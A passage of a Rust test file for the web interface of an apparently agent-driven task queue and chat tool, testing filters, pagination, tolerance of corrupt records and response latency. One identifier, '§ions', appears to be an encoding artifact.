23246 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23247 | "already_in_base" => "ended",
23248 _ => "flight",
23249 }
23250 }
23251
23252 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23255 match filter_key {
23256 "active" => !done,
23257 "flight" => !done && !waiting && !dead,
23258 "stale" => !done && !waiting && dead,
23259 "waiting" => waiting,
23260 "done" => done,
23261 "all" => true,
23262 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23263 }
23264 }
23265
23266 let compatible = |section: &str, filter_key: &str| {
23267 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23268 run_section(*waiting, status, *dead, *parked) == section
23269 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23270 })
23271 };
23272
23273 let expected = [
23278 ("waiting", [true, false, false, true, true, true]),
23279 ("stale", [true, false, true, false, false, true]),
23280 ("flight", [true, true, false, false, false, true]),
23281 ("landed", [false, false, false, false, true, true]),
23282 ("ended", [false, false, false, false, true, true]),
23283 ];
23284 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23285
23286 for (section, wants) in expected {
23287 for (filter_key, want) in filter_keys.iter().zip(wants) {
23288 assert_eq!(
23289 compatible(section, filter_key),
23290 want,
23291 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23292 );
23293 }
23294 }
23295
23296 assert!(
23299 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23300 );
23301 assert!(APP_JS.contains(
23302 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23303 ));
23304 assert!(APP_JS.contains(
23305 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23306 ));
23307 }
23308
23309 #[tokio::test]
23310 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23311 let dir = tempfile::tempdir().expect("tempdir");
23315 let explicit = dir.path().join("not-a-checkout");
23316 std::fs::create_dir_all(&explicit).expect("create dir");
23317 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23318
23319 let missing = dir.path().join("does-not-exist-at-all");
23320 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23321 }
23322
23323 #[test]
23324 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23325 assert!(APP_JS.contains("function statsDonutArcs"));
23326 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23327 assert!(APP_JS.contains("function statusInBucket"));
23329 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23330 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23331 let buckets = [
23332 "merged",
23333 "ready",
23334 "in_progress",
23335 "blocked",
23336 "failed",
23337 "verified_noop",
23338 "superseded",
23339 "stalled",
23340 ];
23341 for key in buckets {
23342 let var = format!("--verdict-{key}:");
23343 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23345 assert!(
23346 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23347 "{key}"
23348 );
23349 }
23350 }
23351
23352 #[tokio::test]
23353 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23354 let dir = tempfile::tempdir().expect("tempdir");
23355 let queue = Queue::at(dir.path().join("queue"));
23356 let talks = Talks::at(dir.path().join("talks"));
23357 std::fs::create_dir_all(queue.root()).unwrap();
23358 std::fs::create_dir_all(talks.root()).unwrap();
23359
23360 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23362 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23363
23364 let mut task = Task::new(
23366 "title".into(),
23367 "inst".into(),
23368 PathBuf::from("/repo"),
23369 Source::Human,
23370 );
23371 task.id = "20261019-123456-abcd".into();
23372 std::fs::write(
23374 queue.path_of(&task.id),
23375 serde_json::to_string(&task).unwrap(),
23376 )
23377 .unwrap();
23378
23379 let talk_id = "20261019-234567-cdef";
23380 seed_talk_at(&talks, talk_id, "open");
23381
23382 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23384 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23385
23386 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23388 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23389 }
23390
23391 #[tokio::test]
23392 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23393 let home = tempfile::tempdir().unwrap();
23394 let ui = delta_test_ui(home.path());
23395 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23397 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23398 assert!(
23399 questions_list(State(ui.clone()))
23400 .await
23401 .unwrap()
23402 .0
23403 .is_empty()
23404 );
23405 assert!(
23406 question_origins(State(ui.clone()))
23407 .await
23408 .unwrap()
23409 .0
23410 .is_empty()
23411 );
23412 let mut question = Question::new(
23413 "run-history".into(),
23414 "review".into(),
23415 "seat".into(),
23416 "Useful question".into(),
23417 "Useful detail".into(),
23418 vec![],
23419 );
23420 ui.questions.put(&mut question).unwrap();
23421 let core = questions_core(State(ui.clone())).await.unwrap().0;
23422 assert_eq!(core.len(), 1);
23423 assert_eq!(core[0].question.summary, "Useful question");
23424 assert!(!core[0].can_consult_chat);
23425 assert!(core[0].origin_chat.is_none());
23426 assert_eq!(core[0].record_revision, question_record_revision(&question));
23427 assert!(question_origins(State(ui.clone())).await.is_err());
23428 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23429 }
23430
23431 #[tokio::test]
23432 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23433 let home = tempfile::tempdir().unwrap();
23434 let ui = delta_test_ui(home.path());
23435 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23436 let mut parent = Task::new(
23437 "parent".into(),
23438 "body".into(),
23439 PathBuf::from("/repo"),
23440 Source::Agent {
23441 run: chat.clone(),
23442 node: crate::queue::CHAT_NODE.into(),
23443 },
23444 );
23445 parent.id = "parent-task".into();
23446 parent.runs = vec!["parent-run".into()];
23447 ui.queue.put(&mut parent).unwrap();
23448 let mut previous = parent;
23449 for generation in 1..=2 {
23450 let mut child = Task::new(
23451 "child".into(),
23452 "body".into(),
23453 PathBuf::from("/repo"),
23454 Source::Human,
23455 );
23456 child.id = format!("child-task-{generation}");
23457 child.runs = vec![format!("child-run-{generation}")];
23458 child.followup = Some(crate::queue::FollowUp {
23459 origin_task: Some(previous.id.clone()),
23460 run: previous.runs[0].clone(),
23461 pr: String::new(),
23462 findings: vec![],
23463 generation,
23464 });
23465 ui.queue.put(&mut child).unwrap();
23466 previous = child;
23467 }
23468 let mut collision = Task::new(
23471 "collision".into(),
23472 String::new(),
23473 PathBuf::from("/repo"),
23474 Source::Human,
23475 );
23476 collision.id = "collision-task".into();
23477 collision.runs = vec![previous.id.clone()];
23478 ui.queue.put(&mut collision).unwrap();
23479 let mut questions = Vec::new();
23480 for (node, reference, expected, eligible) in [
23481 (crate::triage::NODE, previous.id.as_str(), true, false),
23482 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23483 ("review", previous.runs[0].as_str(), true, true),
23484 (
23485 crate::bump::NOTICE_NODE,
23486 previous.runs[0].as_str(),
23487 true,
23488 false,
23489 ),
23490 ("review", previous.id.as_str(), false, false),
23492 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23493 ("review", "unrelated", false, false),
23494 ] {
23495 let mut q = Question::new(
23496 reference.into(),
23497 node.into(),
23498 "seat".into(),
23499 "Question".into(),
23500 String::new(),
23501 vec![],
23502 );
23503 ui.questions.put(&mut q).unwrap();
23504 questions.push((q, expected, eligible));
23505 }
23506 for (node, reference, associated, eligible) in [
23507 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23508 (
23509 crate::reconcile::NODE,
23510 previous.runs[0].as_str(),
23511 false,
23512 true,
23513 ),
23514 ("implement", previous.id.as_str(), false, false),
23515 ] {
23516 let mut q = Question::new(
23517 reference.into(),
23518 node.into(),
23519 crate::reconcile::SEAT.into(),
23520 "Reconcile".into(),
23521 String::new(),
23522 vec![],
23523 );
23524 ui.questions.put(&mut q).unwrap();
23525 questions.push((q, associated, eligible));
23526 }
23527 let mut release = Question::new(
23528 "release-record".into(),
23529 crate::bump::NOTICE_NODE.into(),
23530 "release-watch".into(),
23531 "Release".into(),
23532 String::new(),
23533 vec![],
23534 );
23535 ui.questions.put(&mut release).unwrap();
23536 let watch = crate::release_watch::WatchState {
23537 question: Some(release.id.clone()),
23538 run: Some(previous.runs[0].clone()),
23539 held_task: Some(previous.id.clone()),
23540 ..Default::default()
23541 };
23542 let watch_dir = home.path().join("release-watch");
23543 std::fs::create_dir_all(&watch_dir).unwrap();
23544 let watch_path = watch_dir.join("watch.json");
23545 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23546 for batch in [
23548 Vec::new(),
23549 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23550 ] {
23551 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23552 assert!(watches.is_empty());
23553 }
23554 questions.push((release.clone(), true, false));
23555
23556 let views = questions_list(State(ui.clone())).await.unwrap().0;
23557 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23558 for (q, associated, eligible) in &questions {
23559 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23560 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23561 let expected = associated.then_some(chat.as_str());
23562 assert_eq!(
23563 view.origin_chat.as_deref(),
23564 expected,
23565 "{} {}",
23566 q.node,
23567 q.run
23568 );
23569 assert_eq!(origin.origin_chat.as_deref(), expected);
23570 assert_eq!(view.origin_chat_closed, *associated);
23571 assert_eq!(origin.origin_chat_closed, *associated);
23572 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23573 assert_eq!(origin.can_consult_chat, *eligible);
23574 }
23575 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23577 let link = crate::release_watch::WatchState {
23578 run,
23579 held_task,
23580 ..watch.clone()
23581 };
23582 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23583 let (tasks, talks, watches) =
23584 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23585 assert_eq!(
23586 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23587 .unwrap()
23588 .id,
23589 chat,
23590 );
23591 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23592 }
23593 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23594 let duplicate_path = watch_dir.join("duplicate.json");
23596 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23597 let (tasks, talks, watches) =
23598 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23599 assert!(
23600 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23601 .is_none()
23602 );
23603 std::fs::remove_file(duplicate_path).unwrap();
23604 let mut unrelated = Task::new(
23606 "other".into(),
23607 String::new(),
23608 PathBuf::from("/repo"),
23609 Source::Human,
23610 );
23611 unrelated.id = "unrelated-task".into();
23612 ui.queue.put(&mut unrelated).unwrap();
23613 let mut conflicting = watch.clone();
23614 conflicting.held_task = Some(unrelated.id);
23615 std::fs::write(
23616 watch_dir.join("conflict.json"),
23617 serde_json::to_vec(&conflicting).unwrap(),
23618 )
23619 .unwrap();
23620 let (tasks, talks, watches) =
23621 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23622 assert!(
23623 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23624 .is_none()
23625 );
23626 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23627 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23628 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23629 assert!(origin.origin_chat.is_none());
23630 assert!(!origin.origin_chat_closed);
23631 }
23632 }
23633
23634 #[test]
23635 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23636 let home = tempfile::tempdir().unwrap();
23637 let ui = delta_test_ui(home.path());
23638 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23639 for i in 0..1000 {
23640 let mut task = Task::new(
23641 "unrelated".into(),
23642 "instruction ".repeat(256),
23643 PathBuf::from("/repo"),
23644 Source::Human,
23645 );
23646 task.id = format!("history-{i:04}");
23647 ui.queue.put(&mut task).unwrap();
23648 let id = seed_talk_at(&ui.talks, &task.id, "open");
23649 let mut talk = ui.talks.get(&id).unwrap();
23650 talk.pending = "history ".repeat(256);
23651 ui.talks.put(&mut talk).unwrap();
23652 }
23653 let mut parent = Task::new(
23654 "parent".into(),
23655 "body".into(),
23656 PathBuf::from("/repo"),
23657 Source::Agent {
23658 run: chat_id.clone(),
23659 node: crate::queue::CHAT_NODE.into(),
23660 },
23661 );
23662 parent.id = "task-parent".into();
23663 parent.runs = vec!["run-parent".into()];
23664 ui.queue.put(&mut parent).unwrap();
23665 let mut child = Task::new(
23666 "child".into(),
23667 "body".into(),
23668 PathBuf::from("/repo"),
23669 Source::Human,
23670 );
23671 child.id = "task-child".into();
23672 child.runs = vec!["run-child".into()];
23673 child.followup = Some(crate::queue::FollowUp {
23674 run: "run-parent".into(),
23675 origin_task: Some(parent.id.clone()),
23676 pr: "https://example.invalid/pr/1".into(),
23677 findings: vec![],
23678 generation: 1,
23679 });
23680 ui.queue.put(&mut child).unwrap();
23681 let mut question = Question::new(
23682 child.id.clone(),
23683 crate::conduct::NODE.into(),
23684 "seat".into(),
23685 "Continue?".into(),
23686 String::new(),
23687 vec![],
23688 );
23689 let (tasks, talks, _watches) =
23690 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23691 assert_eq!(tasks.len(), 2);
23692 assert_eq!(talks.len(), 1);
23693 assert_eq!(
23694 ui.monitor.queue_index.lock().unwrap().reparsed,
23695 0,
23696 "exact ancestry bypasses the index"
23697 );
23698 assert_eq!(
23699 crate::consult::origin_talk(&tasks, &talks, &question)
23700 .unwrap()
23701 .id,
23702 chat_id
23703 );
23704 question.run = "run-child".into();
23705 question.node = "review".into();
23706 for origin_task in [Some(parent.id.clone()), None] {
23707 child.followup.as_mut().unwrap().origin_task = origin_task;
23708 ui.queue.put(&mut child).unwrap();
23709 let (tasks, talks, _watches) =
23710 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23711 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23712 let expected =
23713 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23714 .unwrap();
23715 assert_eq!(actual.id, expected.id);
23716 assert!(!actual.status.open());
23717 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23718 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23719 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23722 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23723 }
23724 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23725 ui.queue.put(&mut child).unwrap();
23726 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23727 let (tasks, talks, _watches) =
23728 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23729 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23730 child.origin_chat = Some(chat_id.clone());
23731 ui.queue.put(&mut child).unwrap();
23732 let (tasks, talks, _watches) =
23733 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23734 assert_eq!(
23735 crate::consult::origin_talk(&tasks, &talks, &question)
23736 .unwrap()
23737 .id,
23738 chat_id
23739 );
23740 let revision = question_record_revision(&question);
23741 question.abandon("settled elsewhere");
23742 assert_ne!(revision, question_record_revision(&question));
23743 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23744 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23745 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23746 let (tasks, talks, _watches) =
23747 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23748 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23749 }
23750
23751 #[test]
23752 fn list_cursors_freeze_membership_and_expire_explicitly() {
23753 let home = tempfile::tempdir().unwrap();
23754 let ui = delta_test_ui(home.path());
23755 std::fs::create_dir_all(ui.queue.root()).unwrap();
23756 for i in 0..40 {
23757 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23758 }
23759 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23760 assert_eq!(first.len(), STORE_PAGE_SIZE);
23761 let cursor = cursor.unwrap();
23762 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23763 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23764 let (second, _) = page_ids(
23765 &ui,
23766 false,
23767 PageQuery {
23768 before: Some(cursor.clone()),
23769 },
23770 )
23771 .unwrap();
23772 assert_eq!(second[0], "record-0023");
23773 assert!(second.iter().all(|id| !first.contains(id)));
23774 assert!(
23775 page_ids(
23776 &ui,
23777 true,
23778 PageQuery {
23779 before: Some(cursor.clone())
23780 }
23781 )
23782 .is_err()
23783 );
23784 let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23785 assert_eq!(fresh[0], "record-9999");
23786 ui.monitor.list_walks.lock().unwrap().clear();
23787 assert!(
23788 page_ids(
23789 &ui,
23790 false,
23791 PageQuery {
23792 before: Some(cursor)
23793 }
23794 )
23795 .is_err()
23796 );
23797 }
23798
23799 #[tokio::test]
23800 async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23801 let home = tempfile::tempdir().unwrap();
23802 let ui = delta_test_ui(home.path());
23803 let mut task = Task::new(
23804 "task".into(),
23805 "body".into(),
23806 PathBuf::from("/repo"),
23807 Source::Human,
23808 );
23809 ui.queue.put(&mut task).unwrap();
23810 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23811 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23812 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23813 let expected = parsed + usize::from(!cfg!(unix));
23814 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23815 task.status = crate::queue::TaskStatus::Held;
23816 ui.queue.put(&mut task).unwrap();
23817 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23818 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23819 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23820 ui.queue.put(&mut task).unwrap();
23821 assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23822 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23823 assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23824 }
23825
23826 #[tokio::test]
23827 async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23828 let home = tempfile::tempdir().unwrap();
23829 let ui = delta_test_ui(home.path());
23830 *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23831 let before = health(State(ui.clone())).await.unwrap().0;
23832 ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23833 let after = health(State(ui)).await.unwrap().0;
23834 assert_ne!(before.notifications_rev, after.notifications_rev);
23835 assert_eq!(after.notifications_unread, 1);
23836 }
23837
23838 #[tokio::test]
23839 async fn list_pages_bound_history_and_keep_dependency_evidence() {
23840 let home = tempfile::tempdir().unwrap();
23841 let ui = delta_test_ui(home.path());
23842 let queue = &ui.queue;
23843 let talks = &ui.talks;
23844 for i in 0..1000 {
23845 let id = format!("20261019-{i:06}-page");
23846 let mut task = Task::new(
23847 "task".into(),
23848 "instruction".repeat(100),
23849 PathBuf::from("/repo/magi"),
23850 Source::Human,
23851 );
23852 task.id = id.clone();
23853 if i == 0 {
23854 task.status = crate::queue::TaskStatus::Held;
23855 } else if i == 999 {
23856 task.status = crate::queue::TaskStatus::Blocked;
23857 task.blocked_by = vec!["20261019-000000-page".into()];
23858 }
23859 queue.put(&mut task).unwrap();
23860 seed_talk_at(talks, &id, "open");
23861 }
23862 let page = serde_json::to_value(
23863 queue_page(State(ui.clone()), Query(PageQuery::default()))
23864 .await
23865 .unwrap()
23866 .0,
23867 )
23868 .unwrap();
23869 assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23870 assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23871 assert!(
23872 !page["rows"][0]["stuck_roots"]
23873 .as_array()
23874 .unwrap()
23875 .is_empty()
23876 );
23877 let cursor = page["next"].as_str().unwrap();
23878 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23879 .as_str()
23880 .unwrap();
23881 std::fs::remove_file(queue.path_of(last_id)).unwrap();
23883 let next = serde_json::to_value(
23884 queue_page(
23885 State(ui.clone()),
23886 Query(PageQuery {
23887 before: Some(cursor.into()),
23888 }),
23889 )
23890 .await
23891 .unwrap()
23892 .0,
23893 )
23894 .unwrap();
23895 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23896 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23897 let chats = serde_json::to_value(
23898 talks_page(State(ui.clone()), Query(PageQuery::default()))
23899 .await
23900 .unwrap()
23901 .0,
23902 )
23903 .unwrap();
23904 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23905 assert!(chats["rows"][0].get("pending").is_none());
23906 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23907 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23908 assert_eq!(counts["held"], 1);
23909 assert_eq!(counts["blocked"], 1);
23910 assert_eq!(counts["queued"], 997);
23911 }
23912
23913 #[test]
23914 fn queue_index_observes_external_replacement_deletion_and_corruption() {
23915 let dir = tempfile::tempdir().unwrap();
23916 let ui = delta_test_ui(dir.path());
23917 let mut task = Task::new(
23918 "task".into(),
23919 "body".into(),
23920 PathBuf::from("/repo"),
23921 Source::Human,
23922 );
23923 task.runs = vec!["run-a".into()];
23924 ui.queue.put(&mut task).unwrap();
23925 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23926 task.runs = vec!["run-b".into()];
23927 let path = ui.queue.path_of(&task.id);
23928 let modified = path.metadata().unwrap().modified().unwrap();
23929 let replacement = path.with_extension("replacement");
23930 let bytes = serde_json::to_vec_pretty(&task).unwrap();
23931 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23932 std::fs::write(&replacement, &bytes).unwrap();
23933 std::fs::File::options()
23934 .write(true)
23935 .open(&replacement)
23936 .unwrap()
23937 .set_times(std::fs::FileTimes::new().set_modified(modified))
23938 .unwrap();
23939 std::fs::rename(&replacement, &path).unwrap();
23940 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23941 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23942 std::fs::write(&path, "broken").unwrap();
23943 assert!(ui.find_task_for_run("run-b").is_err());
23944 std::fs::write(&path, bytes).unwrap();
23945 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
23946 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23947 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
23948 }
23949
23950 #[tokio::test]
23951 async fn conversation_core_is_independent_of_unreadable_related_history() {
23952 let home = tempfile::tempdir().unwrap();
23953 let ui = delta_test_ui(home.path());
23954 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23955 std::fs::create_dir_all(ui.queue.root()).unwrap();
23956 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
23957 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
23958 .await
23959 .unwrap();
23960 assert_eq!(core.talk.id, id);
23961 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
23962 }
23963
23964 #[tokio::test]
23965 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
23966 let home = tempfile::tempdir().unwrap();
23967 let ui = delta_test_ui(home.path());
23968 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
23969 let mut run = RunState::new(
23970 PathBuf::from("/repo"),
23971 "main".into(),
23972 "01234567".into(),
23973 "Useful run".into(),
23974 Config::default(),
23975 );
23976 run.save_under(home.path()).unwrap();
23977 let mut task = Task::new(
23978 "Related".into(),
23979 "body".into(),
23980 PathBuf::from("/repo"),
23981 Source::Agent {
23982 run: talk_id.clone(),
23983 node: "chat".into(),
23984 },
23985 );
23986 task.runs = vec![run.id.clone()];
23987 ui.queue.put(&mut task).unwrap();
23988 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
23989 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
23990 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
23991 assert!(
23992 run_detail(State(ui.clone()), Path(run.id.clone()))
23993 .await
23994 .is_ok()
23995 );
23996 assert!(
23997 talk_sections(State(ui.clone()), Path(talk_id.clone()))
23998 .await
23999 .is_ok()
24000 );
24001 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24003 assert!(ui.find_task_for_run(&run.id).is_err());
24004 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24005 ui.queue.put(&mut task).unwrap();
24006 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24007 }
24008
24009 #[tokio::test]
24010 async fn conversation_sections_omit_large_task_instructions() {
24011 let home = tempfile::tempdir().unwrap();
24012 let ui = delta_test_ui(home.path());
24013 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24014 let mut task = Task::new(
24015 "filed task".into(),
24016 "large instruction ".repeat(65536),
24017 PathBuf::from("/repo"),
24018 Source::Agent {
24019 run: id.clone(),
24020 node: "chat".into(),
24021 },
24022 );
24023 ui.queue.put(&mut task).unwrap();
24024 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24025 assert_eq!(sections["tasks"][0]["id"], task.id);
24026 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24027 assert!(sections["tasks"][0].get("instruction").is_none());
24028 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
24029 }
24030
24031 #[test]
24032 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24033 let home = tempfile::tempdir().unwrap();
24034 let talks = Talks::at(home.path().join("talks"));
24035 seed_talk_at(&talks, "20261019-000001-abcd", "open");
24036 seed_talk_at(&talks, "20261019-000002-abcd", "open");
24037 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24038 assert!(resolve_talk(&talks, "../outside").is_err());
24039 assert!(resolve_talk(&talks, "abcd").is_err());
24040 assert_eq!(
24041 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24042 "20261019-000001-abcd"
24043 );
24044 }
24045
24046 include!(concat!(
24047 env!("CARGO_MANIFEST_DIR"),
24048 "/tests/web_latency/baseline.rs"
24049 ));
24050
24051 include!(concat!(
24052 env!("CARGO_MANIFEST_DIR"),
24053 "/tests/web_latency/lists.rs"
24054 ));
24055
24056 #[tokio::test]
24057 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24058 async fn web_history_latency_measurement() {
24059 use std::time::Instant;
24060 let home = tempfile::tempdir().unwrap();
24061 let ui = delta_test_ui(home.path());
24062 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24063 let mut template = ui.talks.get(&id).unwrap();
24064 template.turns = serde_json::from_value(serde_json::json!([{
24065 "who": "operator", "body": "Show the accumulated work and its current status.",
24066 "at": Timestamp::now().to_string(),
24067 }]))
24068 .unwrap();
24069 std::fs::write(
24070 ui.talks.path_of(&id),
24071 serde_json::to_vec(&template).unwrap(),
24072 )
24073 .unwrap();
24074 let count = std::env::var("MAGI_BENCH_RECORDS")
24075 .ok()
24076 .and_then(|s| s.parse::<usize>().ok())
24077 .unwrap_or(1000);
24078 for i in 0..count {
24079 template.id = format!("20261019-{i:06}-history");
24080 template.pending = "history ".repeat(2048);
24081 std::fs::write(
24082 ui.talks.path_of(&template.id),
24083 serde_json::to_vec(&template).unwrap(),
24084 )
24085 .unwrap();
24086 let mut task = Task::new(
24087 "old task".into(),
24088 "instruction ".repeat(2048),
24089 PathBuf::from("/repo"),
24090 Source::Human,
24091 );
24092 task.id = format!("20261019-{i:06}-task");
24093 ui.queue.put(&mut task).unwrap();
24094 }
24095 for baseline in [true, false] {
24096 for clients in [1, 4] {
24097 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24098 let mut samples = Vec::new();
24099 for _ in 0..12 {
24100 let mut jobs = Vec::new();
24101 for _ in 0..clients {
24102 let ui = ui.clone();
24103 let id = id.clone();
24104 jobs.push(tokio::spawn(async move {
24105 let start = Instant::now();
24106 if baseline {
24107 let response =
24108 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24109 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24110 return (
24111 elapsed,
24112 elapsed,
24113 serde_json::to_vec(&response).unwrap().len(),
24114 );
24115 }
24116 let core = talk_core(State(ui.clone()), Path(id.clone()));
24117 let secondary = talk_sections(State(ui), Path(id));
24118 let (first, total) = tokio::join!(
24119 async {
24120 let value = core.await.unwrap().0;
24121 (
24122 start.elapsed().as_secs_f64() * 1000.0,
24123 serde_json::to_vec(&value).unwrap().len(),
24124 )
24125 },
24126 async {
24127 let value = secondary.await.unwrap().0;
24128 (
24129 start.elapsed().as_secs_f64() * 1000.0,
24130 serde_json::to_vec(&value).unwrap().len(),
24131 )
24132 }
24133 );
